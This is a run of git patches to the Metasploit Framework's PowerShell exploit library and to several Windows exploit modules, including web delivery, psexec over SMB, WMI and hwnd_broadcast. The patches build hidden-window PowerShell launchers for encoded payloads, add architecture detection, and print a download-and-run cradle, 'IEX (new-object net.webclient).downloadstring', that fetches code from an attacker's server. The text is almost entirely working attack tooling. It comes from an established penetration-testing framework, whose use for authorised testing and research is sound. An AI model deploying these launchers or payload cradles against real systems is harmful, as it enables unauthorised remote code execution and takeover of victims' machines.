     return psh.encode_code(eof)
   end
+
   #
   # Return a gzip compressed powershell script
   # Will invoke PSH modifiers as enabled
@@ -90,11 +91,89 @@ def compress_script(script_in, eof = nil)
     return psh.compress_code(eof)
   end
 
+  #
+  # Generate a powershell command line
+  #
+  def generate_psh_command_line(opts)
+    if opts[:path] and opts[:path][-1,1] == "\\"
+      opts[:path] << "\\"
+    end
+
+    args = generate_psh_args(opts)
+    return "#{opts[:path]}powershell.exe #{args}"
+  end
+
+  #
+  # Generate arguments for the powershell command
+  #
+  def generate_psh_args(opts)
+    arg_string = ""
+    opts.each_pair do |arg, value|
+      case arg
+      when :encodedcommand
+        arg_string << "-EncodedCommand #{value} " if value
+      when :executionpolicy
+        arg_string << "-ExecutionPolicy #{value} " if value
+      when :inputformat
+        arg_string << "-InputFormat #{value} " if value
+      when :file
+        arg_string << "-File #{value} " if value
+      when :noexit
+        arg_string << "-NoExit " if value
+      when :nologo
+        arg_string << "-NoLogo " if value
+      when :noninteractive
+        arg_string << "-NonInteractive " if value
+      when :mta
+        arg_string << "-Mta " if value
+      when :outputformat
+        arg_string << "-OutputFormat #{value} " if value
+      when :sta
+        arg_string << "-Sta " if value
+      when :noprofile
+        arg_string << "-NoProfile " if value
+      when :windowstyle
+        arg_string << "-WindowStyle #{value} " if  value
+      end
+    end
+
+    #Command must be last (unless from stdin - etc)
+    if opts[:command]
+      arg_string << "-Command #{opts[:command]}"
+    end
+
+    # Shorten args if PSH 2.0+
+    unless datastore['PSH::old_technique']
+      arg_string.gsub!('-Command', '-c')
+      arg_string.gsub!('-EncodedCommand', '-e')
+      arg_string.gsub!('-ExecutionPolicy', '-ep')
+      arg_string.gsub!('-File', '-f')
+      arg_string.gsub!('-InputFormat', '-i')
+      arg_string.gsub!('-NoExit', '-noe')
+      arg_string.gsub!('-NoLogo', '-nol')
+      arg_string.gsub!('-NoProfile', '-nop')
+      arg_string.gsub!('-NonInteractive', '-noni')
+      arg_string.gsub!('-OutputFormat', '-o')
+      arg_string.gsub!('-Sta', '-s')
+      arg_string.gsub!('-WindowStyle', '-w')
+    end
+
+    return arg_string
+  end
   #
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-w hidden -nop -e #{ps_code}"
+    arg_opts = {
+        :noprofile => true,
+        :windowstyle => 'hidden',
+        :encodedcommand => ps_code
+    }
+
+    # Old technique fails if powershell exits..
+    arg_opts[:noexit] = true if datastore['PSH::old_technique']
+
+    ps_args = generate_psh_args(arg_opts)
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -113,7 +192,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
   #
   # Creates cmd script to execute psh payload
   #
-  def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['PSH::run_wow64'])
+  def cmd_psh_payload(pay, old_psh=datastore['PSH::old_technique'], wow64=datastore['PSH::run_wow64'])
     # Allow powershell 1.0 format
     if old_psh
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -131,7 +210,6 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     # Determine appropriate architecture, manual method reduces script size
 		ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
 
-
     compressed = compress_script(psh_payload)
     encoded = encode_script(psh_payload)
 
@@ -145,7 +223,12 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     final_payload = run_hidden_psh(smallest_payload,ps_bin)
 
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -nop -c #{final_payload}\r\n"
+    psh_command = generate_psh_command_line({
+                                    :noprofile => true,
+                                    :windowstyle => 'hidden',
+                                    :command => final_payload
+                                })
+    command = "%COMSPEC% /B /C start /min #{psh_command}\r\n"
   end
 
 
diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index 3514de3589c7..100d83fb3a0e 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -6,11 +6,13 @@
 ##
 
 require 'msf/core'
+require 'msf/core/exploit/powershell'
 
 class Metasploit3 < Msf::Exploit::Remote
   Rank = NormalRanking
 
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::Powershell
 
   def initialize(info = {})
     super(update_info(info,
@@ -58,7 +60,11 @@ def primer
     url = get_uri()
     download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
     print_status("Run the following command on the target machine:")
-    print_line("powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}")
+    print_line generate_psh_command_line({
+                                     :noprofile => true,
+                                     :windowstyle => 'hidden',
+                                     :command => download_and_run
+                                 })
   end
 end
 

From 4fc8bb2b4bdef4d702b4018f54345a2e043a6630 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Oct 2013 00:42:59 +0100
Subject: [PATCH 021/108] Auto arch detection

---
 lib/msf/core/exploit/powershell.rb         | 47 +++++++++++++++-------
 modules/exploits/windows/smb/psexec_psh.rb |  8 +---
 2 files changed, 35 insertions(+), 20 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index a9c95f1fb3e0..2ed96c9726c3 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -13,11 +13,6 @@ def initialize(info = {})
       [
         OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
         OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
-        OptBool.new('PSH::run_wow64', [
-          false,
-          'Execute powershell in 32bit compatibility mode, payloads need x86 arch',
-          false
-            ]),
         OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
         OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
         OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
@@ -162,8 +157,9 @@ def generate_psh_args(opts)
   end
   #
   # Runs powershell in hidden window raising interactive proc msg
+  # Detect the architecture
   #
-  def run_hidden_psh(ps_code,ps_bin='powershell.exe')
+  def run_hidden_psh(ps_code,payload_arch)
     arg_opts = {
         :noprofile => true,
         :windowstyle => 'hidden',
@@ -175,9 +171,9 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
 
     ps_args = generate_psh_args(arg_opts)
 
-    ps_wrapper = <<EOS
+    process_start_info = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
-$si.FileName=#{ps_bin}
+$si.FileName=$ps_bin
 $si.Arguments='#{ps_args}'
 $si.UseShellExecute=$false
 $si.RedirectStandardOutput=$true
@@ -185,14 +181,35 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
 $si.CreateNoWindow=$true
 $p=[System.Diagnostics.Process]::Start($si)
 EOS
+    process_start_info.gsub!("\n",';')
+
+    archictecure_detection = <<EOS
+$p_arch='#{payload_arch}';
+$ps_bin='powershell.exe';
+if ([IntPtr]::Size -eq 4) {
+  if ($p_arch -eq 'x86') {
+    $ps_bin='powershell.exe'
+  } else {
+    $ps_bin==$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
+  }
+} else {
+  if ($p_arch -eq 'x86') {
+    $ps_bin=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
+  } else {
+    $ps_bin='powershell.exe'
+  }
+};
+EOS
+    archictecure_detection.gsub!("\n","")
+    archictecure_detection.gsub!("\s\s","")
 
-    return ps_wrapper.gsub("\n",';')
+    return (archictecure_detection + process_start_info)
   end
 
   #
   # Creates cmd script to execute psh payload
   #
-  def cmd_psh_payload(pay, old_psh=datastore['PSH::old_technique'], wow64=datastore['PSH::run_wow64'])
+  def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
     # Allow powershell 1.0 format
     if old_psh
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -207,8 +224,6 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_technique'], wow64=datastor
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
-    # Determine appropriate architecture, manual method reduces script size
-		ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
 
     compressed = compress_script(psh_payload)
     encoded = encode_script(psh_payload)
@@ -219,8 +234,10 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_technique'], wow64=datastor
       smallest_payload = compressed
     end
 
-    # Wrap in hidden runtime
-    final_payload = run_hidden_psh(smallest_payload,ps_bin)
+    # Wrap in hidden runtime / architecture detection
+    final_payload = run_hidden_psh(smallest_payload, payload_arch)
+
+    #final_payload = encode_script(hidden_payload)
 
     # Convert to base64 for -encodedcommand execution
     psh_command = generate_psh_command_line({
@@ -229,6 +246,8 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_technique'], wow64=datastor
                                     :command => final_payload
                                 })
     command = "%COMSPEC% /B /C start /min #{psh_command}\r\n"
+    vprint_status("Command length: #{command.length}")
+    return command
   end
 
 
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index e2399ecbbfca..2dcc1ef3460a 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -68,9 +68,9 @@ def initialize(info = {})
 	end
 
 	def exploit
-		command = cmd_psh_payload(payload.encoded)
+		command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
 		if datastore['DryRun']
-			print_good command
+			print_good command.inspect
 			return
 		end
 
@@ -78,10 +78,6 @@ def exploit
 			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
 		end
 
-		if datastore['PSH::run_wow64'] and target_arch.first == "x86_64"
-			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with PSH::run_wow64 enabled")
-		end
-
 		# Try and authenticate with given credentials
 		if connect
 			begin

From 3cbf768d16cabb177caefbdf438d5df738086bc2 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 22 Nov 2013 22:58:42 +0000
Subject: [PATCH 022/108] Small size reductions

---
 lib/msf/core/exploit/powershell.rb | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 2ed96c9726c3..5b524bd99196 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -171,6 +171,12 @@ def run_hidden_psh(ps_code,payload_arch)
 
     ps_args = generate_psh_args(arg_opts)
 
+    if payload_arch ==  'x86'
+      arch_x86 = '$True'
+    else
+      arch_x86 = '$False'
+    end
+
     process_start_info = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
 $si.FileName=$ps_bin
@@ -184,16 +190,15 @@ def run_hidden_psh(ps_code,payload_arch)
     process_start_info.gsub!("\n",';')
 
     archictecure_detection = <<EOS
-$p_arch='#{payload_arch}';
-$ps_bin='powershell.exe';
+$x86=#{arch_x86};
 if ([IntPtr]::Size -eq 4) {
-  if ($p_arch -eq 'x86') {
+  if ($x86) {
     $ps_bin='powershell.exe'
   } else {
     $ps_bin==$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
   }
 } else {
-  if ($p_arch -eq 'x86') {
+  if ($x86) {
     $ps_bin=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
   } else {
     $ps_bin='powershell.exe'

From c5007f67ab864c17034c118f886275826a8e723b Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 22 Nov 2013 23:00:36 +0000
Subject: [PATCH 023/108] Retab psexec_psh

---
 modules/exploits/windows/smb/psexec_psh.rb | 102 ++++++++++-----------
 1 file changed, 51 insertions(+), 51 deletions(-)

diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 76698891bfc9..546b41dbf2c2 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -36,64 +36,64 @@ def initialize(info = {})
         'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
         'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
       ],
-			'License'        => MSF_LICENSE,
-			'Privileged'     => true,
-			'DefaultOptions' =>
-				{
-					'WfsDelay'     => 10,
-					'EXITFUNC' => 'thread'
-				},
-			'Platform'       => 'win',
-			'Targets'        =>
-				[
-					[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
-					[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
-				],
-			'DefaultTarget'  => 0,
-			'DisclosureDate' => 'Jan 01 1999',
-			'References'     => [
-				[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
-				[ 'OSVDB', '3106'],
-				[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
-				[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
-				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
-			]
-		))
+      'License'        => MSF_LICENSE,
+      'Privileged'     => true,
+      'DefaultOptions' =>
+        {
+          'WfsDelay'     => 10,
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jan 01 1999',
+      'References'     => [
+        [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
+        [ 'OSVDB', '3106'],
+        [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+        [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
+        [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
+      ]
+    ))
 
-		register_options([
-			OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
-		], self.class)
-	end
+    register_options([
+      OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
+    ], self.class)
+  end
 
-	def exploit
-		command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
-		if datastore['DryRun']
-			print_good command.inspect
-			return
-		end
+  def exploit
+    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
+    if datastore['DryRun']
+      print_good command.inspect
+      return
+    end
 
-		if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
-			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
-		end
+    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
+      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
+    end
 
-		# Try and authenticate with given credentials
-		if connect
-			begin
-				smb_login
-			rescue StandardError => autherror
-				fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
-			end
-			# Execute the powershell command
-			print_status("#{peer} - Executing the payload...")
-			begin
-				return psexec(command)
-			rescue StandardError => exec_command_error
-				fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
+    # Try and authenticate with given credentials
+    if connect
+      begin
+        smb_login
+      rescue StandardError => autherror
+        fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
+      end
+      # Execute the powershell command
+      print_status("#{peer} - Executing the payload...")
+      begin
+        return psexec(command)
+      rescue StandardError => exec_command_error
+        fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
       ensure
         disconnect
       end
-		end
-	end
+    end
+  end
 
   def peer
     return "#{rhost}:#{rport}"

From 9835649858c702f50699df29a436019260a48fe6 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 22 Nov 2013 23:04:44 +0000
Subject: [PATCH 024/108] Update hwnd_broadcast to use generated powershell
 command line.

---
 modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
index 92f2e46e3c00..765a73f51c3a 100644
--- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
+++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
@@ -171,7 +171,11 @@ def exploit
   def primer
     url = get_uri()
     download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
-    command = "powershell.exe -w hidden -nop -c #{download_and_run}"
+    command = generate_psh_command_line({
+      :noprofile => true,
+      :windowstyle => 'hidden',
+      :command => download_and_run
+    })
     make_it(command)
   end
 

From 622a1dccda930ce20093f16d4699bd0f9acd4433 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 22 Nov 2013 23:18:22 +0000
Subject: [PATCH 025/108] Update wmi to use generated powershell command line

---
 modules/exploits/windows/local/wmi.rb | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index d40d33e886e1..8043057f70be 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -93,7 +93,11 @@ def exploit
         end
 
         x = rand_text_alpha(rand(3)+3)
-        exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
+        exec_cmd = generate__psh_command_line({
+          :noprofile => true,
+          :windowstyle => 'hidden',
+          :command => "$#{x} = ''"
+        })
         env_vars.each do |env|
           exec_cmd << "+$env:#{env}"
         end

From ec36cebeb45c79ea29161f6650ddf150291ab748 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 22 Nov 2013 23:26:06 +0000
Subject: [PATCH 026/108] Update cmd_psh_payloads to send the architecture.

---
 modules/exploits/windows/browser/ie_unsafe_scripting.rb   | 2 +-
 modules/exploits/windows/http/oracle_endeca_exec.rb       | 2 +-
 modules/exploits/windows/local/current_user_psexec.rb     | 2 +-
 modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 2 +-
 modules/exploits/windows/local/wmi.rb                     | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
index 2738d40f38a9..06752b9fe08a 100644
--- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb
+++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
@@ -120,7 +120,7 @@ def vbs_technique(var_shellobj, p)
   end
 
   def psh_technique(var_shellobj, p)
-    cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
+    cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
     js_content = %Q|
 //<html><head></head><body><script>
 var #{var_shellobj} = new ActiveXObject("WScript.Shell");
diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb
index 45ce9d8c4c4f..0cd0a6264ebd 100644
--- a/modules/exploits/windows/http/oracle_endeca_exec.rb
+++ b/modules/exploits/windows/http/oracle_endeca_exec.rb
@@ -126,7 +126,7 @@ def send_request_soap(data)
   end
 
   def exploit
-    command = cmd_psh_payload(payload.encoded)
+    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
     if command.length > 8000
       # Windows 2008 Command Prompt Max Length is 8191
       fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb
index a89fc57d3ca9..478da8f76773 100644
--- a/modules/exploits/windows/local/current_user_psexec.rb
+++ b/modules/exploits/windows/local/current_user_psexec.rb
@@ -98,7 +98,7 @@ def exploit
 
       service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
     else
-      service_executable = cmd_psh_payload(payload.encoded)
+      service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
     end
 
     begin
diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
index 765a73f51c3a..1cefddcedaaa 100644
--- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
+++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
@@ -160,7 +160,7 @@ def exploit
         command = datastore['CUSTOM_COMMAND']
       else
         print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
-        command = cmd_psh_payload(payload.encoded)
+        command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
       end
       make_it(command)
     else
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index 8043057f70be..b5ff74e13391 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -78,7 +78,7 @@ def exploit
 
       # Get the PSH Payload and split it into bitesize chunks
       # 1024 appears to be the max value allowed in env vars
-      psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
+      psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first).gsub("\r\n","")
       psh = psh[psh.index("$si")..psh.length-1]
       chunks = split_code(psh, 1024)
 

From c194fdc67e784dd95aa2bd9b4201b7f7c7aa9d9d Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 23 Nov 2013 00:31:11 +0000
Subject: [PATCH 027/108] Fixup WMI -c doesn't like $var assignments

---
 lib/msf/core/exploit/powershell.rb    | 7 +++----
 modules/exploits/windows/local/wmi.rb | 7 +++----
 2 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 5b524bd99196..b4a5b7ef408f 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -190,12 +190,12 @@ def run_hidden_psh(ps_code,payload_arch)
     process_start_info.gsub!("\n",';')
 
     archictecure_detection = <<EOS
-$x86=#{arch_x86};
+Set-Variable x86 #{arch_x86};
 if ([IntPtr]::Size -eq 4) {
   if ($x86) {
     $ps_bin='powershell.exe'
   } else {
-    $ps_bin==$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
+    $ps_bin=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
   }
 } else {
   if ($x86) {
@@ -245,12 +245,11 @@ def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
     #final_payload = encode_script(hidden_payload)
 
     # Convert to base64 for -encodedcommand execution
-    psh_command = generate_psh_command_line({
+    command = generate_psh_command_line({
                                     :noprofile => true,
                                     :windowstyle => 'hidden',
                                     :command => final_payload
                                 })
-    command = "%COMSPEC% /B /C start /min #{psh_command}\r\n"
     vprint_status("Command length: #{command.length}")
     return command
   end
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index b5ff74e13391..3ff3a0493851 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -79,7 +79,6 @@ def exploit
       # Get the PSH Payload and split it into bitesize chunks
       # 1024 appears to be the max value allowed in env vars
       psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first).gsub("\r\n","")
-      psh = psh[psh.index("$si")..psh.length-1]
       chunks = split_code(psh, 1024)
 
       begin
@@ -93,10 +92,10 @@ def exploit
         end
 
         x = rand_text_alpha(rand(3)+3)
-        exec_cmd = generate__psh_command_line({
+        exec_cmd = generate_psh_command_line({
           :noprofile => true,
           :windowstyle => 'hidden',
-          :command => "$#{x} = ''"
+          :command => "$#{x}=''"
         })
         env_vars.each do |env|
           exec_cmd << "+$env:#{env}"
@@ -109,7 +108,7 @@ def exploit
         print_status("[#{server}] Cleaning up environment variables")
         env_vars.each do |env|
           cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
-          wmic_command(server, cleanup_cmd)
+          #wmic_command(server, cleanup_cmd)
         end
       rescue Rex::Post::Meterpreter::RequestError => e
         print_error("[#{server}] Error moving on... #{e}")

From 1c60373f685a30ac7a52f8808517163564a2e9e2 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 23 Nov 2013 00:45:04 +0000
Subject: [PATCH 028/108] Reinstate %COMSPEC%

---
 lib/msf/core/exploit/powershell.rb | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index b4a5b7ef408f..6e7411c29812 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -245,11 +245,13 @@ def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
     #final_payload = encode_script(hidden_payload)
 
     # Convert to base64 for -encodedcommand execution
-    command = generate_psh_command_line({
+    psh_command = generate_psh_command_line({
                                     :noprofile => true,
                                     :windowstyle => 'hidden',
                                     :command => final_payload
                                 })
+
+    command = "%COMSPEC% /b /c #{psh_command}"
     vprint_status("Command length: #{command.length}")
     return command
   end

From 259d5a2dbaefd485da4474436d4b4a4db156a2e2 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 23 Nov 2013 01:15:13 +0000
Subject: [PATCH 029/108] Backout Set-Variable as it is 3.0 only

---
 lib/msf/core/exploit/powershell.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 6e7411c29812..1849323d4ca2 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -190,7 +190,7 @@ def run_hidden_psh(ps_code,payload_arch)
     process_start_info.gsub!("\n",';')
 
     archictecure_detection = <<EOS
-Set-Variable x86 #{arch_x86};
+$x86=#{arch_x86};
 if ([IntPtr]::Size -eq 4) {
   if ($x86) {
     $ps_bin='powershell.exe'

From 6c83109422a8097cb834f716d593dfc9ca55fa42 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 23 Nov 2013 16:44:44 +0000
Subject: [PATCH 030/108] Really fix wmi

---
 lib/msf/core/exploit/powershell.rb    | 13 ++++++-------
 modules/exploits/windows/local/wmi.rb | 11 ++++++++---
 2 files changed, 14 insertions(+), 10 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 1849323d4ca2..46b04be1ecc0 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -189,6 +189,7 @@ def run_hidden_psh(ps_code,payload_arch)
 EOS
     process_start_info.gsub!("\n",';')
 
+
     archictecure_detection = <<EOS
 $x86=#{arch_x86};
 if ([IntPtr]::Size -eq 4) {
@@ -242,16 +243,14 @@ def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
     # Wrap in hidden runtime / architecture detection
     final_payload = run_hidden_psh(smallest_payload, payload_arch)
 
-    #final_payload = encode_script(hidden_payload)
-
-    # Convert to base64 for -encodedcommand execution
     psh_command = generate_psh_command_line({
-                                    :noprofile => true,
-                                    :windowstyle => 'hidden',
-                                    :command => final_payload
-                                })
+                      :noprofile => true,
+                      :windowstyle => 'hidden',
+                      :command => final_payload
+    })
 
     command = "%COMSPEC% /b /c #{psh_command}"
+ 
     vprint_status("Command length: #{command.length}")
     return command
   end
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index 3ff3a0493851..c4f3062f5ee5 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -78,8 +78,13 @@ def exploit
 
       # Get the PSH Payload and split it into bitesize chunks
       # 1024 appears to be the max value allowed in env vars
-      psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first).gsub("\r\n","")
-      chunks = split_code(psh, 1024)
+      psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first).strip
+      psh.gsub!("'","''")
+      # We have to use single quotes because IEX does not like ; used in the
+      # arguments
+      psh.gsub!("-c ","-c '")
+      psh << "'\r\n"
+      chunks = split_code(psh, 1000)
 
       begin
         print_status("[#{server}] Storing payload in environment variables")
@@ -108,7 +113,7 @@ def exploit
         print_status("[#{server}] Cleaning up environment variables")
         env_vars.each do |env|
           cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
-          #wmic_command(server, cleanup_cmd)
+          wmic_command(server, cleanup_cmd)
         end
       rescue Rex::Post::Meterpreter::RequestError => e
         print_error("[#{server}] Error moving on... #{e}")

